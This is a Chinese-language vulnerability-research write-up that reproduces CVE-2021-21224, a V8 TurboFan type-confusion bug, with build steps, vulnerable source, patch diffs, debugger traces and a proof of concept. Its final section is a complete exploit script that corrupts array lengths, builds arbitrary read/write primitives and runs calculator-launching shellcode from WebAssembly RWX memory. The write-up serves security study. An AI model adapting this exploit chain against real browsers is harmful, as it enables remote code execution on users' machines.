CVE-2021-21224 Recurrence
记录 V8 Exploitation 学习过程,从零开始复现一个 CVE。
Environment
操作系统:Ubuntu 18.04 (VMWare Fusion)
安装 depot_tools
(Chromium and Chromium OS use a package of scripts called depot_tools to manage checkouts and code reviews.),并更新 $PATH
环境变量:
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
$ export PATH="/path/to/depot_tools:$PATH"
安装 ninja,后续用于编译 d8:
$ git clone https://github.com/ninja-build/ninja.git
$ cd ninja && ./configure.py --bootstrap && cd ..
$ export PATH="/path/to/ninja:$PATH"
然后获取 v8 源码,checkout 到目标分支(8.9.255
),编译生成 d8:
$ fetch v8
$ cd v8 && git reset --hard 16b9bbbd581c25391981aa03180b76aa60463a3e
$ gclient sync -D
$ ./build/install-build-deps.sh
$ tools/dev/v8gen.py x64.debug
$ ninja -C out.gn/x64.debug d8
为了提高下载速度,可以租一个国外的 vps 把需要编译的源码更新好,打包后 (
zip -r -y -q v8.zip v8
) 再传回本地。
Chrome & V8
- JavaScript 代码直接交给浏览器或者 Node 执行时,底层的 CPU 是不认识的,也没法执行。CPU 只认识自己的指令集,而指令集对应的是汇编代码
- 而 JavaScirpt 引擎可以将 JS 代码编译为不同 CPU 对应的汇编代码。同时它还负责执行代码、分配内存以及垃圾回收
V8 引擎是用 C++ 编写的开源高性能 JavaScript 和 WebAssembly 引擎。它由 Google 丹麦开发,开放源代码,是 Google Chrome 的一部分,也用于 Node.js。
d8 是一个非常有用的调试工具,可以用来查看 V8 在执行 JavaScript 过程中的各种中间数据,比如作用域、AST、字节码、优化的二进制代码、垃圾回收的状态,还可以使用 d8 提供的私有 API 查看一些内部信息。
Google 一开始是参与并采用 WebKit 开发自己的浏览器,后来用自己的 V8 替换了 WebKit 的 JS 解释引擎。再之后,Google 从 WebKit 上拉取了自己的分支 Blink,并一直开发至今
Turbolizer
Turbolizer 是一个可以将 TurboFan 优化过程可视化的基于 HTML 的工具。编译时通过以下方式搭建:
$ cd v8/tools/turbolizer
$ npm i
$ npm run-script build
$ python -m SimpleHTTPServer
可以用 V8 Turbolizer online 在线看
通过添加 --trace-turbo
标志来生成优化过程对应的 json 文件:
$ /path/to/d8 ./poc.js --trace-turbo
其中,不同颜色的节点具有不同的含义:
- 黄色:控制节点,改变或描述脚本流程
- 浅蓝色:某个节点可能具有或返回的值的节点
- 深蓝色:中间语言动作的表示(字节码指令)
- 红色:JS 级别执行的基本代码或动作
- 绿色:机器级别的语言
CVE-2021-21224 (Type Confusion)
复现的漏洞是今年上半年 HW 被使用很广泛的洞。复现环境使用 89.0.4389.0 版本的 Chromium (V8 8.9.255)
Downloaded from: A website that helps users to find and download archived Chromium versions.
具体漏洞是在 TurboFan 优化过程中的 Simplified Lowering 阶段,存在一个类型混淆漏洞 (Type Confusion),可以触发整型溢出 (Integer overflow)。漏洞点在函数 RepresentationChanger::GetWord32RepresentationFor
src/compiler/representation-change.cc
中:
800 Node* RepresentationChanger::GetWord32RepresentationFor(
801 Node* node, MachineRepresentation output_rep, Type output_type,
802 Node* use_node, UseInfo use_info) {
803 // Eagerly fold representation changes for constants.
804 switch (node->opcode()) {
...
950 } else if (output_rep == MachineRepresentation::kWord64) {
951 if (output_type.Is(Type::Signed32()) ||
952 output_type.Is(Type::Unsigned32())) { /* Current type is Signed32 or **Unsigned32** (Vul) */
953 op = machine()->TruncateInt64ToInt32(); /* Update op to TruncateInt64ToInt32 */
954 } else if (output_type.Is(cache_->kSafeInteger) &&
955 use_info.truncation().IsUsedAsWord32()) { /* Current type is kSafeInterger */
956 op = machine()->TruncateInt64ToInt32(); /* Update op to TruncateInt64ToInt32 */
...
Patch (Merged: [compiler] Fix bug in RepresentationChanger::GetWord32RepresentationFor) 中,增加了:
diff --git a/src/compiler/representation-change.cc b/src/compiler/representation-change.cc
index 64b274c..3d937ad 100644
--- a/src/compiler/representation-change.cc
+++ b/src/compiler/representation-change.cc
@@ -949,10 +949,10 @@
return node;
} else if (output_rep == MachineRepresentation::kWord64) {
if (output_type.Is(Type::Signed32()) ||
- output_type.Is(Type::Unsigned32())) {
- op = machine()->TruncateInt64ToInt32();
- } else if (output_type.Is(cache_->kSafeInteger) &&
- use_info.truncation().IsUsedAsWord32()) {
+ (output_type.Is(Type::Unsigned32()) &&
+ use_info.type_check() == TypeCheckKind::kNone) ||
+ (output_type.Is(cache_->kSafeInteger) &&
+ use_info.truncation().IsUsedAsWord32())) {
op = machine()->TruncateInt64ToInt32();
} else if (use_info.type_check() == TypeCheckKind::kSignedSmall ||
use_info.type_check() == TypeCheckKind::kSigned32 ||
Why?Operator 被更新成 TruncateInt64ToInt32
后,如果后继节点为有符号数 kSignedSmall
且执行 Operator 后被截断的返回值使用了符号位,就有机会触发整数溢出。
PoC
Question:debug 版本会报错,release 版本没有问题? debug 版一般会加很多额外的检查,这些检查在 release 里面是关闭的状态。很大一部分漏洞都会被 debug 版的 dcheck 捕获,导致程序崩溃。所以要调试可利用漏洞的话一般要用 release 版。可以类比 asan 和非 asan 的版本,真正要利用的时候肯定是没有 asan 的,否则一旦触发漏洞程序就直接崩溃退出了。
pwndbg> set args --allow-natives-syntax ./poc.js
pwndbg> r
function foo(b) {
let x = -1;
if (b) x = 0xffffffff;
return -1 < Math.max(0, x);
}
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo); /* 强制启用函数优化 */
console.log(foo(true)); /* 调用函数以执行优化 */
即便不使用
%OptimizeFunctionOnNextCall
,将函数重复执行一定次数,一样可以触发 TurboFan 的优化
当另一个线程在优化代码时,主线程可以继续执行其他任务:
pwndbg> info threads
Id Target Id Frame
* 1 Thread 0x7f2996874780 (LWP 26431) "d8" v8::internal::compiler::RepresentationChanger::GetWord32RepresentationFor (this=0x7fff20507ba0, node=0x560178376470, output_rep=v8::internal::MachineRepresentation::kTaggedSigned, output_type=..., use_node=0x560178377d30, use_info=...) at ../../src/compiler/representation-change.cc:804
2 Thread 0x7f29909fd700 (LWP 26435) "V8 DefaultWorke" 0x00007f2992358ad3 in futex_wait_cancelable (private=<optimized out>, expected=0, futex_word=0x5601782bb790) at ../sysdeps/unix/sysv/linux/futex-internal.h:88
$ ./v8/out.gn/x64.debug/d8 ./poc.js --allow-natives-syntax --trace-turbo --trace-turbo-reduction
Concurrent recompilation has been disabled for tracing.
true
true
---------------------------------------------------
Begin compiling method foo using TurboFan
- Replacement of #12: Parameter[-1, debug name: %closure](0) with #46: HeapConstant[0x1380082d2901 <JSFunction foo (sfi = 0x1380082d273d)>] by reducer JSContextSpecialization
- Replacement of #25: JSLoadGlobal[0x13800824a741 <String[4]: #Math>, 1](5, 6, 26, 22, 18) with #47: HeapConstant[0x1380082c5fdd <Object map = 0x1380083029fd>] by reducer JSNativeContextSpecialization
- Replacement of #27: Checkpoint(29, 22, 18) with #22: Checkpoint(24, 8, 18) by reducer CheckpointElimination
- Replacement of #30: JSLoadNamed[0x13800824a8dd <String[3]: #max>, sloppy](47, 5, 4, 31, 22, 18) with #49: LoadField[tagged base, 84, 0x13800824a8dd: [String] in OldSpace: #max, NonInternal, kRepTagged|kTypeAny, FullWriteBarrier, mutable](48, 48, 18) by reducer JSNativeContextSpecialization
- Replacement of #33: Checkpoint(35, 49, 18) with #49: LoadField[tagged base, 84, 0x13800824a8dd: [String] in OldSpace: #max, NonInternal, kRepTagged|kTypeAny, FullWriteBarrier, mutable](48, 48, 18) by reducer CheckpointElimination
- Replacement of #36: JSCall[5, 1, NOT_NULL_OR_UNDEFINED, SpeculationMode::kAllowSpeculation, CallFeedbackRelation::kRelated](50, 47, 32, 21, 5, 6, 38, 52, 18) with #56: NumberMax(54, 55) by reducer JSCallReducer
...
- In-place update of #162: DeoptimizeUnless[Eager, WrongCallTarget, SafetyCheck, FeedbackSource(INVALID)](51, 24, 49, 18) by reducer BranchElimination
- Replacement of #56: Select[kRepWord64, None](70, 69, 63) with #181: Phi[kRepWord64](69, 63, 179) by reducer SelectLowering
- In-place update of #176: Branch[None, SafetyCheck](70, 0) by reducer BranchElimination
- In-place update of #177: IfTrue(176) by reducer BranchElimination
- In-place update of #178: IfFalse(176) by reducer BranchElimination
- In-place update of #179: Merge(177, 178) by reducer BranchElimination
- In-place update of #163: Branch[None, SafetyCheck](41, 162) by reducer BranchElimination
- In-place update of #165: IfFalse(163) by reducer BranchElimination
- In-place update of #172: Return(73, 58, 162, 165) by reducer BranchElimination
- In-place update of #164: IfTrue(163) by reducer BranchElimination
- In-place update of #173: Return(73, 57, 162, 164) by reducer BranchElimination
---------------------------------------------------
Finished compiling method foo using TurboFan
false
%DisassembleFunction(foo);
$ ./v8/out.gn/x64.debug/d8 ./poc.js --allow-natives-syntax
0x31e6000453e1: [Code]
- map: 0x31e60804261d <Map>
kind = BUILTIN
name = InterpreterEntryTrampoline
compiler = unknown
address = 0x31e6000453e1
...
Instructions (size = 1168)
0x7f8d42834700 0 448b570b movl r10,[rdi+0xb]
0x7f8d42834704 4 4d03d5 REX.W addq r10,r13
0x7f8d42834707 7 458b7203 movl r14,[r10+0x3]
0x7f8d4283470b b 4d03f5 REX.W addq r14,r13
...
true
true
false
0x31e600084001: [Code]
- map: 0x31e60804261d <Map>
kind = TURBOFAN
stack_slots = 6
compiler = turbofan
address = 0x31e600084001
Instructions (size = 436)
0x31e600084040 0 488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]
0x31e600084047 7 483bd9 REX.W cmpq rbx,rcx
0x31e60008404a a 7418 jz 0x31e600084064 <+0x24>
0x31e60008404c c 48ba6c00000000000000 REX.W movq rdx,0x6c
...
Exploit
corrput_arr
的第 13 个元素可以覆盖到 rwarr
的长度
function foo(flag) {
let x = -1;
if (flag) x = 0xffffffff;
let len = 0 - Math.max(0, x);
let arr = new Array(len);
arr.shift();
%DebugPrint(arr);
return arr;
}
%PrepareFunctionForOptimization(foo);
console.log("arr.length = " + foo(false).length);
%OptimizeFunctionOnNextCall(foo);
console.log("arr.length = " + foo(true).length);
Array.prototype.shift()
Trick
+----------+
corrupt_arr--->| |
+----------+
| |
+----------+
| |
+----------+ +----------+
| elements +--->| |1
+----------+ +----------+
| |2
+----------+
| ... |...
+----------+
| |8
+----------+
arr--->| map |9
+----------+
| |10
+----------+
| elements |11
+----------+
| length |12
+----------+
DataView corrupt_buf
+---------------------+ +---------------------+
| vtable | | |
+---------------------+ | |
| type | | |
+---------------------+ | |
| auxSlots | | |
+---------------------+ | . |
| objectArray | | . |
|- - - - - - - - - - -| | . |
| arrayFlags | | . |
| arrayCallSiteIndex | | . |
+---------------------+ | . |
| length | | |
+---------------------+ | |
| arrayBuffer | | |
+---------------------+ | |
| byteOffset | | |
+---------------------+ +---------------------+
| buffer | | backing_store |
+---------------------+ +---------------------+
DataView Corruption
actual
DataView ArrayBuffer buffer
+---------------------+ +--->+---------------------+ RefCountedBuffer +--->+----+
| vtable | | | vtable | +--->+---------------------+ | | |
+---------------------+ | +---------------------+ | | buffer |---+ +----+
| type | | | type | | +---------------------+ | | |
+---------------------+ | +---------------------+ | | refCount | | +----+
| auxSlots | | | auxSlots | | +---------------------+ | | |
+---------------------+ | +---------------------+ | | +----+
| objectArray | | | objectArray | | | | |
|- - - - - - - - - - -| | |- - - - - - - - - - -| | | +----+
| arrayFlags | | | arrayFlags | | | | |
| arrayCallSiteIndex | | | arrayCallSiteIndex | | | +----+
+---------------------+ | +---------------------+ | | | |
| length | | | isDetached | | | +----+
+---------------------+ | +---------------------+ | | | |
| arrayBuffer |---+ | primaryParent | | | +----+
+---------------------+ +---------------------+ | | | |
| byteOffset | | otherParents | | | +----+
+---------------------+ +---------------------+ | | | |
| buffer |---+ | bufferContent |---+ | +----+
+---------------------+ | +---------------------+ | | |
| | bufferLength | | +----+
| +---------------------+ |
| |
+-------------------------------------------------------------+
o obj DataView #1 - dv1 DataView #2 - dv2
+--------------+ +->+---------------------+ +->+---------------------+ +--> 0x????
| vtable | //o.a | | vtable | //obj.a | | vtable | |
+--------------+ | +---------------------+ | +---------------------+ |
| type | //o.b | | type | //obj.b | | type | |
+--------------+ | +---------------------+ | +---------------------+ |
| auxSlots +-//o.c--+ | auxSlots | //obj.c | | auxSlots | |
+--------------+ +---------------------+ | +---------------------+ |
| objectArray | | objectArray | //obj.d | | objectArray | |
+--------------+ |- - - - - - - - - - -| | |- - - - - - - - - - -| |
| arrayFlags | | | arrayFlags | |
| arrayCallSiteIndex | | | arrayCallSiteIndex | |
+---------------------+ | +---------------------+ |
| length | //obj.e | | length | |
+---------------------+ | +---------------------+ |
| arrayBuffer | //obj.f | | arrayBuffer | |
+---------------------+ | +---------------------+ |
| byteOffset | //obj.g | | byteOffset | |
+---------------------+ | +---------------------+ |
| buffer |-//obj.h--+ | buffer |--+ //dv1.setInt32(0x38,0x??,true);
+---------------------+ +---------------------+ //dv1.setInt32(0x3C,0x??,true);
为了保证其内存中所有的数字都是以 0 结尾 (
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0
),指针以 1 结尾 (xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1
) (Pointer tagging)
pwndbg> job 0x166b082d26d1
0x166b082d26d1: [Function] in OldSpace
- map: 0x166b083044b5 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x166b082c3469 <JSFunction (sfi = 0x166b082485f5)>
- elements: 0x166b080426dd <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x166b082d26a9 <SharedFunctionInfo 0>
- name: 0x166b08044edd <String[1]: #0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x166b082c3021 <NativeContext[243]>
- code: 0x166b00084001 <Code JS_TO_WASM_FUNCTION>
- Wasm instance: 0x166b082d259d <Instance map = 0x166b08306afd>
- Wasm function index: 0
- properties: 0x166b080426dd <FixedArray[0]> {
0x166b08044649: [String] in ReadOnlySpace: #length: 0x166b08242335 <AccessorInfo> (const accessor descriptor)
0x166b08044749: [String] in ReadOnlySpace: #name: 0x166b082422f1 <AccessorInfo> (const accessor descriptor)
0x166b08043df5: [String] in ReadOnlySpace: #arguments: 0x166b08242269 <AccessorInfo> (const accessor descriptor)
0x166b08043ffd: [String] in ReadOnlySpace: #caller: 0x166b082422ad <AccessorInfo> (const accessor descriptor)
}
- feedback vector: feedback metadata is not available in SFI
pwndbg> job 0x166b082d26a9
0x166b082d26a9: [SharedFunctionInfo] in OldSpace
- map: 0x166b08042595 <Map[40]>
- name: 0x166b08044edd <String[1]: #0>
- kind: NormalFunction
- syntax kind: AnonymousExpression
- function_map_index: 161
- formal_parameter_count: 0
- expected_nof_properties:
- language_mode: sloppy
- data: 0x166b082d2685 <WasmExportedFunctionData>
- code (from data): 0x166b00084001 <Code JS_TO_WASM_FUNCTION>
- script: 0x166b082d2519 <Script>
- function token position: 88
- start position: 88
- end position: 92
- no debug info
- scope info: 0x166b080426d5 <ScopeInfo[0]>
- length: 0
- feedback_metadata: <none>
pwndbg> job 0x166b082d2685
0x166b082d2685: [WasmExportedFunctionData] in OldSpace
- map: 0x166b080458c1 <Map[36]>
- wrapper_code: 0x166b00084001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x166b082d259d <Instance map = 0x166b08306afd>
- jump_table_offset: 0
- function_index: 0
pwndbg> tel 0x166b082d259c+0x68
00:0000│ 0x166b082d2604 —▸ 0x2825e22b4000 ◂— jmp 0x2825e22b4420 /* 0xcccccc0000041be9 */
01:0008│ 0x166b082d260c ◂— 0x814862d081484d1
02:0010│ 0x166b082d2614 ◂— 0x82d2585082c3021
03:0018│ 0x166b082d261c ◂— 0x804230108042301
04:0020│ 0x166b082d2624 ◂— 0x81485f508042301
05:0028│ 0x166b082d262c ◂— 0x81485b908148621
06:0030│ 0x166b082d2634 ◂— 0x814866508042301
07:0038│ 0x166b082d263c ◂— 0x38080426dd
pwndbg> vmmap 0x2825e22b4000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x2825e22b4000 0x2825e22b5000 rwxp 1000 0 [anon_2825e22b4] +0x0
谷歌也在 4 月 15 日的更新中修复了该 bug:shift 以及类似的 pop 函数在计算出新的数组长度后会首先进行边界检查,基本上杜绝了类似的利用方式
diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.cc
index 1a56f79..64fd85f 100644
--- a/src/compiler/js-call-reducer.cc
+++ b/src/compiler/js-call-reducer.cc
...
control = graph()->NewNode(common()->Merge(2), if_true, if_false);
@@ -5586,19 +5593,27 @@
}
// Compute the new {length}.
- length = graph()->NewNode(simplified()->NumberSubtract(), length,
- jsgraph()->OneConstant());
+ Node* new_length = graph()->NewNode(simplified()->NumberSubtract(),
+ length, jsgraph()->OneConstant());
+
+ // This extra check exists solely to break an exploitation technique
+ // that abuses typer mismatches.
+ new_length = etrue1 = graph()->NewNode(
+ simplified()->CheckBounds(p.feedback(),
+ CheckBoundsFlag::kAbortOnOutOfBounds),
+ new_length, length, etrue1, if_true1);
...
/* clean up the memory chunk */
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
/* leak array buffer */
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xdeadbeef;
}
}
/* function for vulnerability */
function foo(a) {
let x = -1;
if (a)
x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x)));
arr.shift();
/* OOB */
let local_arr = Array(2);
local_arr[0] = 5.1; /* 4014666666666666 */
let buf = new LeakArrayBuffer(0x1000); /* byteLength idx=8 */
arr[0] = 0x1122;
return [arr, local_arr, buf];
}
/* pop calculator shellcode -> shellcraft.amd64.execve("/bin/bash", ["bash", "-c", "DISPLAY=:0 gnome-calculator"], 0) */
let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 98, 97, 115, 80, 72, 137, 231, 104, 117, 110, 115, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 45, 99, 97, 108, 99, 117, 108, 97, 80, 72, 184, 58, 48, 32, 103, 110, 111, 109, 101, 80, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 99, 96, 114, 105, 1, 44, 98, 1, 72, 49, 4, 36, 49, 246, 86, 106, 16, 94, 72, 1, 230, 86, 106, 21, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];
/**
* WASM Code in C:
* ```c
* int main() {
* return 42;
* }
* ```
*/
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
/* create RWX memory map using WebAssembly */
console.log("[*] create a RWX section using WebAssembly");
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
/* trigger vulnerability */
console.log("[*] trigger the vulnerability");
for (var i = 0; i < 0x10000; ++i)
foo(false);
/* clean up */
gc();
gc();
[corrupt_arr, rwarr, corrupt_buf] = foo(true);
corrupt_arr[12] = 0x23333; /* overwrite rwarr's length */
console.log("[+] forge rwarr's length = " + "0x" + rwarr.length.toString(16));
delete corrupt_arr;
/* for data convereting (IEEE 754) */
var bfView = new DataView(new ArrayBuffer(8));
/* get low 4 bytes */
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
/* get high 4 bytes */
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
/* integer to float */
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
/* Arbitrary read */
function leakObjLow(o) { /* leak low 4 bytes */
corrupt_buf.slot = o;
return (fLow(rwarr[9]) - 1); /* return a value */
}
/* leak codebase (JS memory) */
let corrupt_view = new DataView(corrupt_buf); /* DataView for corruption */
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buf); /* leak corrupt_buf ptr */
console.log("[+] LOW(corrupt_buf ptr) = " + "0x" + corrupt_buffer_ptr_low.toString(16));
let idx0Addr = corrupt_buffer_ptr_low - 0x10; /* address of rwarr[0] */
console.log("[+] address of rwarr[0] = " + "0x" + idx0Addr.toString(16));
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000; /* base address */
console.log("[+] base address = " + "0x" + baseAddr.toString(16));
let delta = baseAddr + 0x1c - idx0Addr; /* delta */
console.log("[+] delta = " + "0x" + delta.toString(16));
/* codebase */
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
base = fHi(rwarr[baseIdx]);
}
console.log("[+] base = " + "0x" + base.toString(16));
/* Arbitrary write (write corrupt_view's buffer) */
function setBackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
/* set WASM codebase */
let wasmInsAddr = leakObjLow(wasmInstance); /* leak low 4 bytes of wasm codebase */
console.log("[+] wasmInsAddr = " + "0x" + wasmInsAddr.toString(16));
setBackingStore(wasmInsAddr, base);
let code_entry = corrupt_view.getFloat64(13 * 8, true); /* leak codebase from base */
console.log("[+] code_entry = " + "0x" + fHi(code_entry).toString(16) + fLow(code_entry).toString(16));
/* write shellcode */
setBackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
/* execute shellcode */
console.log("[*] PWNED! POP A CALCULATOR!");
main();
References
手把手教你详细分析 Chrome 1day 漏洞 (CVE-2021-21224)
V8 环境搭建,100%成功版 - 2019
V8 引擎漏洞分析环境与调试方法基础
从漏洞利用角度介绍 Chrome 的 V8 安全研究 - h1apwn
浅析 V8-turboFan - Kiprey
Chorme-v8-入门学习 - A1ex
CVE-2019-0539 Exploitation. - Perception Point
CVE-2021-21224 分析笔记 - 0x2l
CVE-2021-21224 - fa1lr4in